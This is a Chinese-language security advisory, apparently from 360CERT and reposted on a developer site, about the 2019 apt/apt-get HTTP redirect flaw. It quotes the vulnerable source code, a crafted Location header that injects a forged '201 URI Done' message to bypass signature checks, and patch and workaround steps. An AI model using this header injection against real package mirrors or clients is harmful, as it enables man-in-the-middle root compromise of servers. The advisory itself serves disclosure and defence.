内容简介:2019年1月22日 @Max Justicz 在其博客中公开了有关于 debian 系包管理器apt/apt-get 远程代码执行的一些细节。当通过 APT 进行任意软件的安装、更新等,默认会走 HTTP 而非 HTTPS,攻击者可以通过中间人劫持等手法劫持 HTTP 流量,并通过重定向及相关响应头的构造,完美构造合法的安装包签名,以此绕过 APT 本地签名的判断。攻击一旦触发,便可导致目标服务器的 root 权限被拿下。360CERT 判断该漏洞危害严重,影响面有限。建议使用Debain系发行版的用户及
0x00 漏洞背景
2019年1月22日 @Max Justicz 在其博客中公开了有关于 debian 系包管理器apt/apt-get 远程代码执行的一些细节。当通过 APT 进行任意软件的安装、更新等,默认会走 HTTP 而非 HTTPS,攻击者可以通过中间人劫持等手法劫持 HTTP 流量,并通过重定向及相关响应头的构造,完美构造合法的安装包签名,以此绕过 APT 本地签名的判断。攻击一旦触发,便可导致目标服务器的 root 权限被拿下。
360CERT 判断该漏洞危害严重,影响面有限。建议使用Debain系发行版的用户及时进行 apt 软件的更新或者对服务器进行流量自查。
0x01 漏洞详情
首先可以抓包观察到 apt 在进行软件包下载安装的时候的http流量格式如下:
102 Status URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb Message: Connecting to prod.debian.map.fastly.net 102 Status URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb Message: Connecting to prod.debian.map.fastly.net (2a04:4e42:8::204) 102 Status URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb Message: Waiting for headers 200 URI Start URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb Size: 20070 Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000 201 URI Done URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb Size: 20070 Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000 MD5-Hash: 27967ddb76b2c394a0714480b7072ab3 MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3 SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831 Checksum-FileSize-Hash: 20070
可以发现 apt 使用了201响应header字段中的值作为校验标准。通过 apt/apt-get 在进行软件包安装的时候,HTTP提取器会对HTTP位置标头进行URL解码,并盲目地将其附加到103重定向响应中,进而导致漏洞产生。
// From methods/basehttp.cc NextURI = DeQuoteString(Req.Location); ... Redirect(NextURI); // From apt-pkg/acquire-method.cc void pkgAcqMethod::Redirect(const string &NewURI) { std::cout << "103 Redirect\nURI: " << Queue->Uri << "\n" << "New-URI: " << NewURI << "\n" << "\n" << std::flush; Dequeue(); }
如果 http 服务器返回的header中带有:
Location: /new-uri%0AFoo%3A%20Bar
则处理后的响应包如下:
103 Redirect URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb New-URI: http://deb.debian.org/new-uri Foo: Bar
那么再进一步构造:
Location: /payload%0A%0A201%20URI%20Done%0AURI%3A%20http%3A//deb.debian.org/payload%0AFilename%3A%20/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg%0ASize%3A%2020070%0ALast-Modified%3A%20Tue%2C%2007%20Mar%202017%2000%3A29%3A01%20%2B0000%0AMD5-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0AMD5Sum-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0ASHA256-Hash%3A%20858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831%0AChecksum-FileSize-Hash%3A%2020070%0A
就会形成具有危害的情况:
103 Redirect URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb New-URI: http://deb.debian.org/payload 201 URI Done URI: http://deb.debian.org/payload Filename: /var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg Size: 20070 Last-Modified: Tue, 07 Mar 2017 00:29:01 +0000 MD5-Hash: 27967ddb76b2c394a0714480b7072ab3 MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3 SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831 Checksum-FileSize-Hash: 20070
这时 apt 就会受到攻击者的控制,安装指定的package并且可以完美的通过校验步骤,进而导致apt/apt-get安装到非官方源中的package。而由于apt/apt-get一般情况下只能由权限相对较高的用户执行,进而导致恶意的package可以任意执行代码/命令。
0x02 补丁分析
AcqMethod::Redirect函数通过对NewURI中的字符进行校验来修复该漏洞。
0x03 修复建议
Debain可以通过添加security分支的源进行更新,主分支还受到影响:
确保 /etc/sources.list 含有如下字段:
deb http://deb.debian.org/debian-security/ {发行版编号例如stretch}/updates main deb-src http://deb.debian.org/debian-security/ {发行版编号例如stretch}/updates main
再执行apt update && apt-get install apt 即可完成修复更新。
Ubuntu可以进行软件包版本升级,对应系统升级到如下版本:
- Ubuntu 18.10 apt – 1.7.0ubuntu0.1
- Ubuntu 18.04 LTS apt – 1.6.6ubuntu0.1
- Ubuntu 16.04 LTS apt – 1.2.29ubuntu0.1
- Ubuntu 14.04 LTS apt – 1.0.1ubuntu2.19
或者在更新时禁用 HTTP 重定向:
$ sudo apt update -o Acquire::http::AllowRedirect=false $ sudo apt upgrade -o Acquire::http::AllowRedirect=false
0x03 时间线
2019-01-22 @Max Justicz公开漏洞细节
2019-01-23 360CERT发布预警
0x04 参考链接
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 漏洞预警 | Adobe ColdFusion远程命令执行漏洞预警(CVE-2018-15961)
- 漏洞预警 | ThinkPHP5远程命令执行漏洞
- Influxdb 认证绕过漏洞预警
- 漏洞预警 | MetInfo最新版本爆出SQL注入漏洞
- 【漏洞预警】Coremail邮件系统配置文件信息泄露漏洞
- 【漏洞预警】Joomla!3.7.0 Core SQL注入漏洞
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。